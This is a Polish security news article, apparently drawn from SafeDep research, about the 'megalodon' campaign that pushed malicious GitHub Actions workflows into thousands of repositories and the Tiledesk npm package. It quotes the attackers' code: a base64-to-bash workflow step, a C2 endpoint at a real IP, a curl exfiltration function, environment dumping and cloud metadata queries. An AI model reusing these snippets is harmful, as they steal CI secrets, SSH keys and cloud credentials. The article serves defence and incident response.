Konferencja Mega Sekurak Hacking Party w Krakowie – 26-27 października!
Adminie… Czy znamy Twoje grzechy? ;-) Sprawdź!
Konferencja Mega Sekurak Hacking Party w Krakowie – 26-27 października!
Adminie… Czy znamy Twoje grzechy? ;-) Sprawdź!
Badacze z SafeDep wykryli zautomatyzowaną kampanię – nazwaną megalodon – w ramach której wypchnięto ponad 5,7 tysięcy złośliwych commitów w ponad 5,5 tysiącach repozytoriów na GitHub. Całość zajęła ~6 godzin.
Korzystając z jednorazowych kont atakujący wstrzyknęli złośliwe workflow GitHub Actions zawierające zakodowane w base64 payloady (bash), które wykradają sekrety CI, poświadczenia chmurowe, klucze SSH, tokeny OIDC oraz sekrety z kodu źródłowego. Wszystko wysyłane jest do serwera C2.
W ramach kampanii wykorzystano dwa warianty payloadu. Wariant masowy (SysDiag) dodaje nowy workflow uruchamiany przy każdym push i pull request, czyniąc wykonanie niejako automatycznym (o ile repozytorium jest aktywne).
Drugi wariant (Optimize-Build) zastępował istniejące workflow mechanizmem workflow_dispatch, tworząc backdoor, który atakujący może uruchamić przez GitHub API.
Badacze zidentyfikowali 5561 repozytoriów GitHub, które otrzymały złośliwe commity. Ich pełna lista znajduje się na stronie SafeDep.
Całość zaczęła się od jednej paczki npm – @tiledesk/tiledesk-server w wersji 2.18.12. Silnik Malysis firmy SafeDep wykrył w niej payload bash zakodowany w base64. Tiledesk to otwartoźródłowa platforma do obsługi live chat i chatbotów.
Diff między wersją 2.18.12 a 2.18.5 pokazał zmianę jednego pliku: .github/workflows/docker-community-worker-push-latest.yml. Oryginalny workflow budowania obrazu Dockera zniknął. W jego miejsce pojawił się Optimize-Build z jednolinijkowym poleceniem set +e; echo “…” | base64 -d | bash. Reszta kodu źródłowego pozostała niezmieniona.
Wszystkie wersje paczki od 2.18.6 (19 maja) do 2.18.12 (21 maja) zawierają backdoor.
Co ciekawe, zarówno zainfekowane wersje, jak i te “legalne” były publikowane przez to samo konto (eljohnny – giovanni@tiledesk.com). Atakujący nie przejęli konta npm i nie musieli tego robić. Wystarczyło umieścić złośliwy kod w repozytorium GitHub, a programista paczki publikował kolejne wersje z zainfekowanego już źródła, nawet nie zdając sobie z tego sprawy.
Złośliwy commit (acac5a9) pojawił się 18 maja 2026 roku, a jako autor figurował build-bot (build-system@noreply[.]dev). W treści napisano: “ci: add build optimization step”. Nazwa autora i generyczny adres mają zapewne wyglądać jak automatyczny mechanizm. Dla tych pól nie istnieje żadne konto GitHub. Atakujący wypchnął commit bezpośrednio do gałęzi master, zapewne używając przejętego tokenu PAT (Personal Access Token).
Badacze przeszukali GitHub pod kątem innych commitów takiego autora, odkrywając skalę kampanii. Wyszukiwanie na portalu zwraca 2878 commitów dla build-system@noreply[.]dev i 2841 dla ci-bot@automated[.]dev. Wszystkie pojawiły się tego samego dnia: 18 maja 2026 roku, w sześciogodzinnym oknie od około 11:36 do 17:48 (UTC), dotykając 5561 odrębnych repozytoriów.
Atakujący rotowali między czterema nazwami autorów (build-bot, auto-ci, ci-bot, pipeline-bot) i siedmioma wiadomościami commitów, wszystkie imitujące automatyczne akcje CI (ich listę zamieszczamy na końcu tekstu).
Atakujący używali jednorazowych kont GitHub z losowymi 8-znakowymi nazwami użytkowników (np. rkb8el9r, bhlru9nr, lo6wt4t6), zmieniali tożsamość autora commita przez git config i wykonywali push zapewne przy użyciu skompromitowanych tokenów PAT.
Dla samego Tiledesk zainfekowano 9 repozytoriów: tiledesk-server, tiledesk-dashboard, tiledesk-telegram-connector, tiledesk-llm, tiledesk-docker-proxy, tiledesk-community-app, tiledesk-campaign-dahboard, tiledesk-helpcenter-template oraz tiledesk-ai.
W ich przypadku złośliwy kod nie wykonuje się, gdy ktoś instaluje pakiet npm. Payload znajduje się wewnątrz dołączonego pliku workflow GitHub Actions, .github/workflows/docker-community-worker-push-latest.yml.
Oryginalny workflow budował i wypychał obrazy Docker przy push do master:
| # .github/workflows/docker-community-worker-push-latest.yml (clean, v2.18.5)name: Docker Image Community Worker latest # .github/workflows/docker-community-worker-push-latest.yml (clean, v2.18.5) name: Docker Image Community Worker latest CI on: push: branches: [ master ] pull_request: branches: [ master ] jobs: push_to_registry: name: Push Docker image to Docker Hub runs-on: ubuntu-latest steps: – name: Check out the repo uses: actions/checkout@v4 – name: Login to Docker Hub uses: docker/login-action@v3 … |
Listing 1 – oryginalny workflow, źródło: safedep.io
Atakujący zastąpili go następującym:
| # .github/workflows/docker-community-worker-push-latest.yml (malicious, v2.18.6+) name: Optimize-Build on: workflow_dispatch: permissions: contents: read id-token: write actions: read jobs: check: runs-on: ubuntu-latest steps: – uses: actions/checkout@v4 with: fetch-depth: 1 – run: set +e; echo “Q0I9Imh0dHA6Ly8yMTYuMTI2LjIy…” | base64 -d | bash |
Listing 2 – zainfekowany workflow, źródło: safedep.io
Trigger został zmieniony na workflow_dispatch (wyłącznie manualne uruchomienie). Atakujący dodali uprawnienie id-token: write, umożliwiające pobieranie tokenów OIDC z GitHub. Cała logika builda została sprowadzona do pojedynczego kroku run, który dekoduje i wykonuje blob base64.
To sprawia, że backdoor pozostaje uśpiony. Po wypchnięciu złośliwego commita w zakładce Actions nie pojawia się automatyczne uruchomienie, a atakujący mogą uruchomić złośliwą akcję później – poprzez GitHub API:
| POST /repos/{owner}/{repo}/actions/workflows/{workflow}/dispatches {“ref”: “master”} |
Listing 3 – przykładowe żądanie do API, źródło: safedep.io
Blob base64 dekoduje się do 111-liniowego skryptu bash. Rozpoczyna się od konfiguracji endpointu C2:
| CB=”http://216.126.225.129:8443?h=megalodon&l=gh_dump&id=hefs8esnhgkx” DID=”hefs8esnhgkx” PLAT=”gh” WORK=”$GITHUB_WORKSPACE” TMP_DIR=$(mktemp -d) trap “rm -rf ‘$TMP_DIR'” EXIT |
Listing 4 – konfiguracja C2 i katalogów, źródło: safedep.io
Funkcja pomocnicza _post() obsługuje eksfiltrację. Wysyła pliki do serwera C2, w nagłówkach zamieszczając metadane:
| __post() { local fname=”$1″ fpath=”$2″ [ -z “$fpath” ] || [ ! -s “$fpath” ] && return local sz=$(stat -c%s “$fpath” 2>/dev/null || stat -f%z “$fpath” 2>/dev/null || echo 0) [ “$sz” -gt 5242880 ] && head -c 5242880 “$fpath” > “$fpath.trunc” && fpath=”$fpath.trunc” curl -sS -X POST -m 60 \ -H ‘Content-Type: text/plain’ \ -H “X-Mega-DID: $DID” \ -H “X-Mega-Plat: $PLAT” \ -H “X-Mega-File: $fname” \ –data-binary @”$fpath” \ “${CB}&l=${PLAT}_exfil&id=${DID}&f=${fname}” >/dev/null 2>&1 || true sleep $((RANDOM % 2)) } |
Listing 5 – eksfiltracja, źródło: safedep.io
Skrypt w pierwszej kolejności zbiera zmienne środowiskowe dostępne na runnerze CI/CD. Przechwytuje zarówno sekrety wykorzystywane przez pipeline, m.in. GITHUB_TOKEN, poświadczenia Docker Hub ale też inne tokeny i klucze dostępowe zapisane w środowisku wykonawczym.
| printenv | sort > “$TMP_DIR/meta_printenv.txt” 2>/dev/null _post “meta_printenv” “$TMP_DIR/meta_printenv.txt” [ -d /proc ] && for p in /proc/[0-9]*/environ; do [ -f “$p” ] && [ -r “$p” ] && tr ‘\0’ ‘\n’ < “$p” 2>/dev/null done | sort -u | head -2000 > “$TMP_DIR/meta_proc_all.txt” _post “meta_proc_all” “$TMP_DIR/meta_proc_all.txt” |
Listing 6 – kod szukający zmiennych środowiskowych, źródło: safedep.io
Następnie wykradane są pliki z poświadczeniami. Skrypt próbuje odczytać 27 konkretnych plików według ścieżki – w tym AWS (~/.aws/credentials, ~/.aws/config), SSH (id_rsa, id_ed25519, id_ecdsa), Docker (~/.docker/config.json), npm (~/.npmrc), GCP (application_default_credentials.json, credentials.db), GitHub CLI (~/.config/gh/hosts.yml), Kubernetes (~/.kube/config), Terraform (credentials.tfrc.json), Vault (~/.vault-token), poświadczenia git, historię shella oraz tokeny service account Kubernetes.
Kolejną fazą jest pozyskiwanie poświadczeń dostawców chmurowych. Skrypt wykorzystuje narzędzia CLI od AWS i GCP do pobierania dostępnych kluczy i tokenów. Odpytuje również endpointy dostawców chmury:
| ccurl -sS -m 3 -H “Metadata-Flavor: Google” \ “http://metadata.google.internal/computeMetadata/v1/?recursive=true” > “$TMP_DIR/meta_gcp.txt” IMDS_TOK=$(curl -sS -m 3 -X PUT \ -H “X-aws-ec2-metadata-token-ttl-seconds: 60” \ “http://169.254.169.254/latest/api/token”) curl -sS -m 3 -H “X-aws-ec2-metadata-token: $IMDS_TOK” \ “http://169.254.169.254/latest/meta-data/iam/security-credentials/$role” curl -sS -m 3 -H “Metadata: true” \ “http://169.254.169.254/metadata/instance?api-version=2021-02-01” |
Listing 7 – żądania do dostawców chmurowych, źródło: safedep.io
Malware skanuje też pliki. Przeszukuje workspace, katalog domowy, /tmp oraz /home/runner pod kątem plików konfiguracyjnych (.env, credentials.json, service-account.json, docker-compose.yml). Następnie szuka poświadczeń w kodzie źródłowym przy użyciu grep dla ponad 30 rozszerzeń plików. Wyrażenie regularne szuka kluczy dostępu AWS, Stripe/Razorpay, SendGrid, Sendinblue, Mailgun, Heroku, tokenów GitHub, GitLab, Atlassian, Slack, npm, PyPI, DigitalOcean, Doppler, Buildkite, Pulumi, Vercel i Postman. Wyszukuje także konfiguracje baz danych (MongoDB, PostgreSQL, MySQL, Redis, MSSQL) oraz typowe wzorce zmiennych środowiskowych (np. AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, DATABASE_URL).
Prawie 6 tysięcy commitów w sześć godzin pokazuje skalę kampanii – to nie jednorazowy atak na konkretne repozytorium. Przypadek Tiledesk pokazuje, jak wdrożenie złośliwego kodu do repozytorium prowadzi do infekcji pakietów. Łańcuch dostaw jest bowiem – jak każdy łańcuch – tak silny, jak jego najsłabsze ogniwo. Twórca prawdopodobnie nie wiedząc nawet, co się stało, publikował nowe wersje w oparciu o złośliwe już repozytorium. Sam kod aplikacji pozostał niezmieniony przez atakujących. Zmiany wdrożono wyłącznie w pliku workflow, co dodatkowo utrudnia wykrycie, np. w ramach code review.
Jeśli twoje repozytorium otrzymało commit od build-system@noreply[.]dev lub ci-bot@automated[.]dev, rekomendujemy jego wycofanie i sprawdzenie plików workflow. Ważne jest także zrotowanie wszystkich poświadczeń, do których dostęp miały runnery GitHub Actions oraz sprawdzenie ich historii pod kątem uruchomień workflow_dispatch.
Nie znamy dokładnego mechanizmu uzyskania dostępu do repozytoriów, natomiast prawdopodobną przyczyną mogą być wykradzione tokeny GitHub. Nie jest to pierwszy raz, gdy atakujący infekują dotychczas nieszkodliwe repozytoria. Przypominamy, że na GitHub możliwa jest szczegółowa kontrola nad uprawnieniami dla każdego generowanego tokenu – polecamy udzielać tylko minimalnych koniecznych dostępów, co może złagodzić skutki potencjalnego ataku.

Bardziej istotnym / wrażliwym projektom polecamy skorzystanie z kluczy SSH (najlepiej zabezpieczonych hasłem i przechowywanych na tokenie sprzętowym, np. YubiKey).
Serwer C2: 216[.]126[.]225[.]129:8443
Adresy e-mail autorów commitów:
Nazwy autorów commitów:
Opisy commitów:
Źródło: safedep.io
~Tymoteusz Jóźwiak